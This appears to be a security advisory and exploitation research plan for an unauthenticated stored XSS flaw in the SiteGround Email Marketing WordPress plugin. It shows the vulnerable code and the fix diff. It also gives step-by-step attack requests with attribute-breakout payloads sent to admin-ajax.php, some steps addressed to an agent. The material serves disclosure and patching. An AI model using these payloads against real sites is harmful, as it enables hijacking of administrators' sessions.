SiteGround Email Marketing <= 1.7.5 - Unauthenticated Stored Cross-Site Scripting
Description
The SiteGround Email Marketing plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.7.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.7.5What Changed in the Fix
Changes introduced in v1.7.6
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-57416**, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the **SiteGround Email Marketing** plugin for WordPress. ### 1. Vulnerability Summary The vulnerability exists in the plugin's integration with **WPForms**. Specifically…
Show full research plan
This exploitation research plan targets CVE-2026-57416, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the SiteGround Email Marketing plugin for WordPress.
1. Vulnerability Summary
The vulnerability exists in the plugin's integration with WPForms. Specifically, the AJAX handler sg_email_marketing_wpforms_save_post lacks any authentication or authorization checks (no current_user_can) and does not verify a WordPress nonce. Furthermore, the stored data is rendered in the WPForms editor without proper escaping, allowing for attribute breakout and script injection.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
sg_email_marketing_wpforms_save_post - Vulnerable Parameter:
sg_email_marketing_groups(Must be a JSON-encoded array) - Target Parameter:
form_id(The ID of an existing WPForm post) - Authentication: None (Unauthenticated).
- Preconditions:
- The "WPForms" plugin must be installed and active.
- At least one form must exist (to target its
form_id).
3. Code Flow
- Entry Point (Storage): The
WPForms::save_form()method incore/Integrations/ThirdParty/WPForms/WPForms.phpis triggered by the AJAX action. - Lack of Security: The code explicitly ignores nonce verification (per the
// phpcs:ignorecomment) and fails to check user capabilities. - Storage: The
sg_email_marketing_groupsparameter isjson_decode'd and saved as post meta for the specifiedform_id:update_post_meta( esc_attr( $_POST['form_id'] ), 'sg_email_marketing_groups', json_decode( stripslashes( $_POST['sg_email_marketing_groups'] ) ) ); - Retrieval: When an administrator opens the WPForms builder,
WPForms::update_groups()(inWPForms.php) retrieves this meta and adds it to the form's field data. - Sink (Output): The data is passed to
SGWPMAIL_WPForms_Field::field_element_select2()incore/Integrations/ThirdParty/WPForms/SGWPMAIL_WPForms_Field.php. - Vulnerable Rendering: The value is
wp_json_encode'd and placed directly into an attribute using single quotes without escaping:
Because the attribute value is wrapped in single quotes ($attrs .= $arg_key . '=\'' . $val . '\''; // $val is the JSON-encoded array // ... $output = sprintf( '<select ... %s>', ..., $attrs );'), any single quote within the JSON-encodedsg_email_marketing_groupswill break out of the attribute.
4. Nonce Acquisition Strategy
- Requirement: None.
- Analysis: Reviewing
core/Integrations/ThirdParty/WPForms/WPForms.php, thesave_formfunction contains a deliberate bypass for PHPCS nonce warnings:// phpcs:ignore WordPress.Security.NonceVerification.Missing. The AJAX action is accessible to any user without a nonce.
5. Exploitation Strategy
The goal is to inject a payload that executes when an admin views the settings of an "SG Email Marketing" field within the WPForms builder.
Step 1: Identify a valid Form ID
The agent should list existing forms to find a target form_id.
wp post list --post_type=wpforms --format=ids
Step 2: Inject the Stored XSS Payload
We send an unauthenticated POST request. The payload uses a single quote to break out of the data-selected attribute used in the plugin's Select2 implementation.
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
action:sg_email_marketing_wpforms_save_postform_id:<TARGET_FORM_ID>sg_email_marketing_groups:["x' onfocus='alert(document.domain)' autofocus='x"]
Step 3: Trigger the XSS
An administrator must navigate to:http://<target>/wp-admin/admin.php?page=wpforms-builder&view=fields&form_id=<TARGET_FORM_ID>
And click on the "SG Email Marketing" field (if it exists) or simply load the builder if the field is present.
6. Test Data Setup
- Install Plugins:
wp plugin install wpforms-lite --activate wp plugin install siteground-email-marketing --version=1.7.5 --activate - Create a Form:
Create a simple form via WP-CLI or browser. - Add the Vulnerable Field:
The form must contain the "SG Email Marketing" field. If not present, theupdate_groupslogic might not trigger the render path, although the meta will still be stored.# Note: Adding a specific field type to WPForms via CLI is complex; # if necessary, use browser_navigate to manually add the 'sg_email_marketing' field.
7. Expected Results
- The
admin-ajax.phprequest should return a200 OK(often with a0or empty response, assave_formdoes not callwp_die()or return data). - The database will now contain the malicious payload in the
wp_postmetatable for the target form. - Upon an administrator loading the WPForms builder for that form, the browser will execute
alert(document.domain).
8. Verification Steps
After sending the HTTP request, verify the storage via WP-CLI:
wp post meta get <TARGET_FORM_ID> sg_email_marketing_groups
Expected Output:["x' onfocus='alert(document.domain)' autofocus='x"]
9. Alternative Approaches
If the onfocus payload is filtered by browser protections (unlikely for stored XSS in attributes), use a standard breakout:
- Payload:
["'><script>alert(1)</script>"] - Resulting HTML:
<select ... data-selected='["'><script>alert(1)</script>"]' ...> - Logic: The
'>sequence closes thedata-selectedattribute AND the<select>tag, allowing the<script>tag to render in the DOM.
Summary
The SiteGround Email Marketing plugin (<= 1.7.5) is vulnerable to unauthenticated stored Cross-Site Scripting due to a lack of authorization and nonce verification in its AJAX handler for WPForms integration. Attackers can inject malicious scripts into form metadata that are subsequently executed in an administrator's browser session when they visit the WPForms editor.
Vulnerable Code
// core/Integrations/ThirdParty/WPForms/WPForms.php line 106 public function save_form() { if ( isset( $_POST['form_id'] ) && isset( $_POST['sg_email_marketing_groups'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing update_post_meta( esc_attr( $_POST['form_id'] ), 'sg_email_marketing_groups', json_decode( stripslashes( $_POST['sg_email_marketing_groups'] ) ) ); // phpcs:ignore } } --- // core/Integrations/ThirdParty/WPForms/SGWPMAIL_WPForms_Field.php line 171 if ( ! empty( $args['attrs'] ) ) { foreach ( $args['attrs'] as $arg_key => $val ) { if ( is_array( $val ) ) { $val = wp_json_encode( $val ); } $attrs .= $arg_key . '=\'' . $val . '\''; } }
Security Fix
@@ -9,7 +9,8 @@ method: 'POST', data: { 'sg_email_marketing_groups' : JSON.stringify( groups_data ), - 'form_id' : form_id + 'form_id' : form_id, + 'nonce' : sgEmailMarketingWPForms.nonce } }); }); @@ -175,7 +175,7 @@ if ( is_array( $val ) ) { $val = wp_json_encode( $val ); } - $attrs .= $arg_key . '=\'' . $val . '\''; + $attrs .= $arg_key . '=\'' . esc_attr( $val ) . '\''; } } @@ -88,6 +88,14 @@ \SG_Email_Marketing\VERSION, true ); + + wp_localize_script( + 'sg-email-marketing-wp-forms-integration', + 'sgEmailMarketingWPForms', + array( + 'nonce' => wp_create_nonce( 'sg_email_marketing_wpforms' ), + ) + ); wp_enqueue_style( 'sg-email-marketing-wpforms-integration', \SG_Email_Marketing\URL . '/assets/css/integrations/wpforms/wpforms-editor.css', @@ -104,6 +112,8 @@ * @return void */ public function save_form() { + check_ajax_referer( 'sg_email_marketing_wpforms', 'nonce' ); + if ( isset( $_POST['form_id'] ) && isset( $_POST['sg_email_marketing_groups'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing update_post_meta( esc_attr( $_POST['form_id'] ), 'sg_email_marketing_groups', json_decode( stripslashes( $_POST['sg_email_marketing_groups'] ) ) ); // phpcs:ignore }
Exploit Outline
The exploit targets the `sg_email_marketing_wpforms_save_post` AJAX endpoint, which is accessible to unauthenticated users. An attacker sends a POST request to `wp-admin/admin-ajax.php` with the following parameters: `action` set to the vulnerable handler, `form_id` targeting an existing WPForm, and `sg_email_marketing_groups` containing a JSON-encoded array. The payload string inside this array uses a single quote to break out of the single-quoted `data-selected` attribute in the generated HTML (e.g., `["x' onfocus='alert(1)' autofocus='x"]`). When an administrator views the WPForms builder for that specific form, the injected attribute triggers script execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.